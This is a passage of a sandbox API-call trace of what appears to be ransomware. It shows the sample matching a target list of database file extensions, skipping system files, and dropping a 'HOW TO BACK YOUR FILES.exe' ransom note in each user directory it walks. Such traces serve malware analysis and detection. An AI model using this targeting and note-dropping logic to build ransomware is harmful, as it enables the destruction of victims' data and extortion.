	[0044.312] lstrcmpiW (lpString1="ges", lpString2="gwi") returned -1
	[0044.312] lstrlenW (lpString="hdb") returned 3
	[0044.312] lstrcmpiW (lpString1="ges", lpString2="hdb") returned -1
	[0044.312] lstrlenW (lpString="his") returned 3
	[0044.313] lstrcmpiW (lpString1="ges", lpString2="his") returned -1
	[0044.313] lstrlenW (lpString="ib") returned 2
	[0044.313] lstrcmpiW (lpString1="es", lpString2="ib") returned -1
	[0044.313] lstrlenW (lpString="idb") returned 3
	[0044.313] lstrcmpiW (lpString1="ges", lpString2="idb") returned -1
	[0044.313] lstrlenW (lpString="ihx") returned 3
	[0044.313] lstrcmpiW (lpString1="ges", lpString2="ihx") returned -1
	[0044.313] lstrlenW (lpString="itdb") returned 4
	[0044.313] lstrcmpiW (lpString1="ages", lpString2="itdb") returned -1
	[0044.313] lstrlenW (lpString="itw") returned 3
	[0044.313] lstrcmpiW (lpString1="ges", lpString2="itw") returned -1
	[0044.313] lstrlenW (lpString="jet") returned 3
	[0044.313] lstrcmpiW (lpString1="ges", lpString2="jet") returned -1
	[0044.313] lstrlenW (lpString="jtx") returned 3
	[0044.313] lstrcmpiW (lpString1="ges", lpString2="jtx") returned -1
	[0044.313] lstrlenW (lpString="kdb") returned 3
	[0044.313] lstrcmpiW (lpString1="ges", lpString2="kdb") returned -1
	[0044.313] lstrlenW (lpString="kexi") returned 4
	[0044.313] lstrcmpiW (lpString1="ages", lpString2="kexi") returned -1
	[0044.313] lstrlenW (lpString="kexic") returned 5
	[0044.313] lstrcmpiW (lpString1="sages", lpString2="kexic") returned 1
	[0044.313] lstrlenW (lpString="kexis") returned 5
	[0044.313] lstrcmpiW (lpString1="sages", lpString2="kexis") returned 1
	[0044.313] lstrlenW (lpString="lgc") returned 3
	[0044.313] lstrcmpiW (lpString1="ges", lpString2="lgc") returned -1
	[0044.313] lstrlenW (lpString="lwx") returned 3
	[0044.313] lstrcmpiW (lpString1="ges", lpString2="lwx") returned -1
	[0044.313] lstrlenW (lpString="maf") returned 3
	[0044.313] lstrcmpiW (lpString1="ges", lpString2="maf") returned -1
	[0044.313] lstrlenW (lpString="maq") returned 3
	[0044.313] lstrcmpiW (lpString1="ges", lpString2="maq") returned -1
	[0044.313] lstrlenW (lpString="mar") returned 3
	[0044.313] lstrcmpiW (lpString1="ges", lpString2="mar") returned -1
	[0044.313] lstrlenW (lpString="marshal") returned 7
	[0044.314] lstrcmpiW (lpString1="essages", lpString2="marshal") returned -1
	[0044.314] lstrlenW (lpString="mas") returned 3
	[0044.314] lstrcmpiW (lpString1="ges", lpString2="mas") returned -1
	[0044.314] lstrlenW (lpString="mav") returned 3
	[0044.314] lstrcmpiW (lpString1="ges", lpString2="mav") returned -1
	[0044.314] lstrlenW (lpString="maw") returned 3
	[0044.314] lstrcmpiW (lpString1="ges", lpString2="maw") returned -1
	[0044.314] lstrlenW (lpString="mdbhtml") returned 7
	[0044.314] lstrcmpiW (lpString1="essages", lpString2="mdbhtml") returned -1
	[0044.314] lstrlenW (lpString="mdn") returned 3
	[0044.314] lstrcmpiW (lpString1="ges", lpString2="mdn") returned -1
	[0044.314] lstrlenW (lpString="mdt") returned 3
	[0044.314] lstrcmpiW (lpString1="ges", lpString2="mdt") returned -1
	[0044.314] lstrlenW (lpString="mfd") returned 3
	[0044.314] lstrcmpiW (lpString1="ges", lpString2="mfd") returned -1
	[0044.314] lstrlenW (lpString="mpd") returned 3
	[0044.314] lstrcmpiW (lpString1="ges", lpString2="mpd") returned -1
	[0044.314] lstrlenW (lpString="mrg") returned 3
	[0044.314] lstrcmpiW (lpString1="ges", lpString2="mrg") returned -1
	[0044.314] lstrlenW (lpString="mud") returned 3
	[0044.314] lstrcmpiW (lpString1="ges", lpString2="mud") returned -1
	[0044.314] lstrlenW (lpString="mwb") returned 3
	[0044.314] lstrcmpiW (lpString1="ges", lpString2="mwb") returned -1
	[0044.314] lstrlenW (lpString="myd") returned 3
	[0044.314] lstrcmpiW (lpString1="ges", lpString2="myd") returned -1
	[0044.314] lstrlenW (lpString="ndf") returned 3
	[0044.314] lstrcmpiW (lpString1="ges", lpString2="ndf") returned -1
	[0044.314] lstrlenW (lpString="nnt") returned 3
	[0044.314] lstrcmpiW (lpString1="ges", lpString2="nnt") returned -1
	[0044.314] lstrlenW (lpString="nrmlib") returned 6
	[0044.314] lstrcmpiW (lpString1="ssages", lpString2="nrmlib") returned 1
	[0044.314] lstrlenW (lpString="ns2") returned 3
	[0044.314] lstrcmpiW (lpString1="ges", lpString2="ns2") returned -1
	[0044.314] lstrlenW (lpString="ns3") returned 3
	[0044.314] lstrcmpiW (lpString1="ges", lpString2="ns3") returned -1
	[0044.315] lstrlenW (lpString="ns4") returned 3
	[0044.315] lstrcmpiW (lpString1="ges", lpString2="ns4") returned -1
	[0044.315] lstrlenW (lpString="nsf") returned 3
	[0044.315] lstrcmpiW (lpString1="ges", lpString2="nsf") returned -1
	[0044.315] lstrlenW (lpString="nv") returned 2
	[0044.315] lstrcmpiW (lpString1="es", lpString2="nv") returned -1
	[0044.315] lstrlenW (lpString="nv2") returned 3
	[0044.315] lstrcmpiW (lpString1="ges", lpString2="nv2") returned -1
	[0044.315] lstrlenW (lpString="nwdb") returned 4
	[0044.315] lstrcmpiW (lpString1="ages", lpString2="nwdb") returned -1
	[0044.315] lstrlenW (lpString="nyf") returned 3
	[0044.315] lstrcmpiW (lpString1="ges", lpString2="nyf") returned -1
	[0044.315] lstrlenW (lpString="odb") returned 3
	[0044.315] lstrcmpiW (lpString1="ges", lpString2="odb") returned -1
	[0044.315] lstrlenW (lpString="odb") returned 3
	[0044.315] lstrcmpiW (lpString1="ges", lpString2="odb") returned -1
	[0044.315] lstrlenW (lpString="oqy") returned 3
	[0044.315] lstrcmpiW (lpString1="ges", lpString2="oqy") returned -1
	[0044.315] lstrlenW (lpString="ora") returned 3
	[0044.315] lstrcmpiW (lpString1="ges", lpString2="ora") returned -1
	[0044.315] lstrlenW (lpString="orx") returned 3
	[0044.315] lstrcmpiW (lpString1="ges", lpString2="orx") returned -1
	[0044.315] lstrlenW (lpString="owc") returned 3
	[0044.315] lstrcmpiW (lpString1="ges", lpString2="owc") returned -1
	[0044.315] lstrlenW (lpString="p96") returned 3
	[0044.315] lstrcmpiW (lpString1="ges", lpString2="p96") returned -1
	[0044.315] lstrlenW (lpString="p97") returned 3
	[0044.315] lstrcmpiW (lpString1="ges", lpString2="p97") returned -1
	[0044.315] lstrlenW (lpString="pan") returned 3
	[0044.315] lstrcmpiW (lpString1="ges", lpString2="pan") returned -1
	[0044.315] lstrlenW (lpString="pdb") returned 3
	[0044.315] lstrcmpiW (lpString1="ges", lpString2="pdb") returned -1
	[0044.315] lstrlenW (lpString="pdm") returned 3
	[0044.315] lstrcmpiW (lpString1="ges", lpString2="pdm") returned -1
	[0044.316] lstrlenW (lpString="pnz") returned 3
	[0044.316] lstrcmpiW (lpString1="ges", lpString2="pnz") returned -1
	[0044.316] lstrlenW (lpString="qry") returned 3
	[0044.316] lstrcmpiW (lpString1="ges", lpString2="qry") returned -1
	[0044.316] lstrlenW (lpString="qvd") returned 3
	[0044.316] lstrcmpiW (lpString1="ges", lpString2="qvd") returned -1
	[0044.316] lstrlenW (lpString="rbf") returned 3
	[0044.316] lstrcmpiW (lpString1="ges", lpString2="rbf") returned -1
	[0044.316] lstrlenW (lpString="rctd") returned 4
	[0044.316] lstrcmpiW (lpString1="ages", lpString2="rctd") returned -1
	[0044.316] lstrlenW (lpString="rod") returned 3
	[0044.316] lstrcmpiW (lpString1="ges", lpString2="rod") returned -1
	[0044.316] lstrlenW (lpString="rodx") returned 4
	[0044.316] lstrcmpiW (lpString1="ages", lpString2="rodx") returned -1
	[0044.316] lstrlenW (lpString="rpd") returned 3
	[0044.316] lstrcmpiW (lpString1="ges", lpString2="rpd") returned -1
	[0044.316] lstrlenW (lpString="rsd") returned 3
	[0044.316] lstrcmpiW (lpString1="ges", lpString2="rsd") returned -1
	[0044.316] lstrlenW (lpString="sas7bdat") returned 8
	[0044.316] lstrcmpiW (lpString1="Messages", lpString2="sas7bdat") returned -1
	[0044.316] lstrlenW (lpString="sbf") returned 3
	[0044.316] lstrcmpiW (lpString1="ges", lpString2="sbf") returned -1
	[0044.316] lstrlenW (lpString="scx") returned 3
	[0044.316] lstrcmpiW (lpString1="ges", lpString2="scx") returned -1
	[0044.316] lstrlenW (lpString="sdb") returned 3
	[0044.316] lstrcmpiW (lpString1="ges", lpString2="sdb") returned -1
	[0044.316] lstrlenW (lpString="sdc") returned 3
	[0044.316] lstrcmpiW (lpString1="ges", lpString2="sdc") returned -1
	[0044.316] lstrlenW (lpString="sdf") returned 3
	[0044.316] lstrcmpiW (lpString1="ges", lpString2="sdf") returned -1
	[0044.316] lstrlenW (lpString="sis") returned 3
	[0044.316] lstrcmpiW (lpString1="ges", lpString2="sis") returned -1
	[0044.316] lstrlenW (lpString="spq") returned 3
	[0044.316] lstrcmpiW (lpString1="ges", lpString2="spq") returned -1
	[0044.316] lstrlenW (lpString="te") returned 2
	[0044.317] lstrcmpiW (lpString1="es", lpString2="te") returned -1
	[0044.317] lstrlenW (lpString="teacher") returned 7
	[0044.317] lstrcmpiW (lpString1="essages", lpString2="teacher") returned -1
	[0044.317] lstrlenW (lpString="tmd") returned 3
	[0044.317] lstrcmpiW (lpString1="ges", lpString2="tmd") returned -1
	[0044.317] lstrlenW (lpString="tps") returned 3
	[0044.317] lstrcmpiW (lpString1="ges", lpString2="tps") returned -1
	[0044.317] lstrlenW (lpString="trc") returned 3
	[0044.317] lstrcmpiW (lpString1="ges", lpString2="trc") returned -1
	[0044.317] lstrlenW (lpString="trc") returned 3
	[0044.317] lstrcmpiW (lpString1="ges", lpString2="trc") returned -1
	[0044.317] lstrlenW (lpString="trm") returned 3
	[0044.317] lstrcmpiW (lpString1="ges", lpString2="trm") returned -1
	[0044.317] lstrlenW (lpString="udb") returned 3
	[0044.317] lstrcmpiW (lpString1="ges", lpString2="udb") returned -1
	[0044.317] lstrlenW (lpString="udl") returned 3
	[0044.317] lstrcmpiW (lpString1="ges", lpString2="udl") returned -1
	[0044.317] lstrlenW (lpString="usr") returned 3
	[0044.317] lstrcmpiW (lpString1="ges", lpString2="usr") returned -1
	[0044.317] lstrlenW (lpString="v12") returned 3
	[0044.317] lstrcmpiW (lpString1="ges", lpString2="v12") returned -1
	[0044.317] lstrlenW (lpString="vis") returned 3
	[0044.317] lstrcmpiW (lpString1="ges", lpString2="vis") returned -1
	[0044.317] lstrlenW (lpString="vpd") returned 3
	[0044.317] lstrcmpiW (lpString1="ges", lpString2="vpd") returned -1
	[0044.317] lstrlenW (lpString="vvv") returned 3
	[0044.317] lstrcmpiW (lpString1="ges", lpString2="vvv") returned -1
	[0044.317] lstrlenW (lpString="wdb") returned 3
	[0044.317] lstrcmpiW (lpString1="ges", lpString2="wdb") returned -1
	[0044.317] lstrlenW (lpString="wmdb") returned 4
	[0044.317] lstrcmpiW (lpString1="ages", lpString2="wmdb") returned -1
	[0044.317] lstrlenW (lpString="wrk") returned 3
	[0044.317] lstrcmpiW (lpString1="ges", lpString2="wrk") returned -1
	[0044.317] lstrlenW (lpString="xdb") returned 3
	[0044.317] lstrcmpiW (lpString1="ges", lpString2="xdb") returned -1
	[0044.318] lstrlenW (lpString="xld") returned 3
	[0044.318] lstrcmpiW (lpString1="ges", lpString2="xld") returned -1
	[0044.318] lstrlenW (lpString="xmlff") returned 5
	[0044.318] lstrcmpiW (lpString1="sages", lpString2="xmlff") returned -1
	[0044.318] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 1
	[0044.318] lstrcmpiW (lpString1="Search", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0044.318] lstrcmpiW (lpString1="Search", lpString2="Apollon865.txt.exe") returned 1
	[0044.318] lstrcmpiW (lpString1="Search", lpString2=".") returned 1
	[0044.318] lstrcmpiW (lpString1="Search", lpString2="..") returned 1
	[0044.318] lstrcmpiW (lpString1="Search", lpString2="windows") returned -1
	[0044.318] lstrcmpiW (lpString1="Search", lpString2="bootmgr") returned 1
	[0044.318] lstrcmpiW (lpString1="Search", lpString2="temp") returned -1
	[0044.318] lstrcmpiW (lpString1="Search", lpString2="pagefile.sys") returned 1
	[0044.318] lstrcmpiW (lpString1="Search", lpString2="boot") returned 1
	[0044.318] lstrcmpiW (lpString1="Search", lpString2="ids.txt") returned 1
	[0044.318] lstrcmpiW (lpString1="Search", lpString2="ntuser.dat") returned 1
	[0044.318] lstrcmpiW (lpString1="Search", lpString2="perflogs") returned 1
	[0044.318] lstrcmpiW (lpString1="Search", lpString2="MSBuild") returned 1
	[0044.318] lstrlenW (lpString="Search") returned 6
	[0044.318] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages") returned 80
	[0044.318] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="Search" | out: lpString1="Search") returned="Search"
	[0044.318] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79a8
	[0044.318] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x92) returned 0x599bd8
	[0044.318] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b79b0 | out: ListHead=0x5b76b0, ListEntry=0x5b79b0) returned 0x5b7990
	[0044.318] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 0
	[0044.318] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0044.318] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b79b0
	[0044.318] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search"
	[0044.318] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599bd8 | out: hHeap=0x580000) returned 1
	[0044.318] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0044.318] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search") returned 72
	[0044.319] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search"
	[0044.319] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0044.319] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\search\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0044.323] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0044.323] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x327c34f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x327c34f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0044.323] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.323] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0044.323] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0044.323] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x327c34f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x327c34f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0044.323] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.323] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0044.323] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0044.323] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0044.323] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x327c34f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x327c34f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0044.323] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0044.323] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x327c34f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x327c34f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0044.323] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0044.324] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7990
	[0044.324] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local"
	[0044.324] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5983a8 | out: hHeap=0x580000) returned 1
	[0044.324] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0044.324] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 43
	[0044.324] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local"
	[0044.324] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0044.324] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0044.324] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0044.324] GetLastError () returned 0x0
	[0044.324] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5cafb8
	[0044.324] ReadFile (in: hFile=0x15c, lpBuffer=0x5cafb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5cafb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0044.324] CloseHandle (hObject=0x15c) returned 1
	[0044.324] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafb8 | out: hHeap=0x580000) returned 1
	[0044.325] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0044.325] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x303e8990, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x303e8990, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0044.325] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.325] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0044.325] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0044.325] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x303e8990, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x303e8990, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0044.325] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.325] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0044.325] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0044.325] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0044.325] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1
	[0044.325] lstrcmpiW (lpString1="Adobe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.325] lstrcmpiW (lpString1="Adobe", lpString2="Apollon865.txt.exe") returned -1
	[0044.325] lstrcmpiW (lpString1="Adobe", lpString2=".") returned 1
	[0044.325] lstrcmpiW (lpString1="Adobe", lpString2="..") returned 1
	[0044.325] lstrcmpiW (lpString1="Adobe", lpString2="windows") returned -1
	[0044.325] lstrcmpiW (lpString1="Adobe", lpString2="bootmgr") returned -1
	[0044.325] lstrcmpiW (lpString1="Adobe", lpString2="temp") returned -1
	[0044.325] lstrcmpiW (lpString1="Adobe", lpString2="pagefile.sys") returned -1
	[0044.325] lstrcmpiW (lpString1="Adobe", lpString2="boot") returned -1
	[0044.325] lstrcmpiW (lpString1="Adobe", lpString2="ids.txt") returned -1
	[0044.325] lstrcmpiW (lpString1="Adobe", lpString2="ntuser.dat") returned -1
	[0044.325] lstrcmpiW (lpString1="Adobe", lpString2="perflogs") returned -1
	[0044.325] lstrcmpiW (lpString1="Adobe", lpString2="MSBuild") returned -1
	[0044.325] lstrlenW (lpString="Adobe") returned 5
	[0044.325] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\*") returned 45
	[0044.325] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="Adobe" | out: lpString1="Adobe") returned="Adobe"
	[0044.325] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7988
	[0044.325] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x64) returned 0x599a78
	[0044.325] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7990 | out: ListHead=0x5b76b0, ListEntry=0x5b7990) returned 0x5b7970
	[0044.326] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1
	[0044.326] lstrcmpiW (lpString1="Application Data", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.326] lstrcmpiW (lpString1="Application Data", lpString2="Apollon865.txt.exe") returned 1
	[0044.326] lstrcmpiW (lpString1="Application Data", lpString2=".") returned 1
	[0044.326] lstrcmpiW (lpString1="Application Data", lpString2="..") returned 1
	[0044.326] lstrcmpiW (lpString1="Application Data", lpString2="windows") returned -1
	[0044.326] lstrcmpiW (lpString1="Application Data", lpString2="bootmgr") returned -1
	[0044.326] lstrcmpiW (lpString1="Application Data", lpString2="temp") returned -1
	[0044.326] lstrcmpiW (lpString1="Application Data", lpString2="pagefile.sys") returned -1
	[0044.326] lstrcmpiW (lpString1="Application Data", lpString2="boot") returned -1
	[0044.326] lstrcmpiW (lpString1="Application Data", lpString2="ids.txt") returned -1
	[0044.326] lstrcmpiW (lpString1="Application Data", lpString2="ntuser.dat") returned -1
	[0044.326] lstrcmpiW (lpString1="Application Data", lpString2="perflogs") returned -1
	[0044.326] lstrcmpiW (lpString1="Application Data", lpString2="MSBuild") returned -1
	[0044.326] lstrlenW (lpString="Application Data") returned 16
	[0044.326] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe") returned 49
	[0044.326] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data"
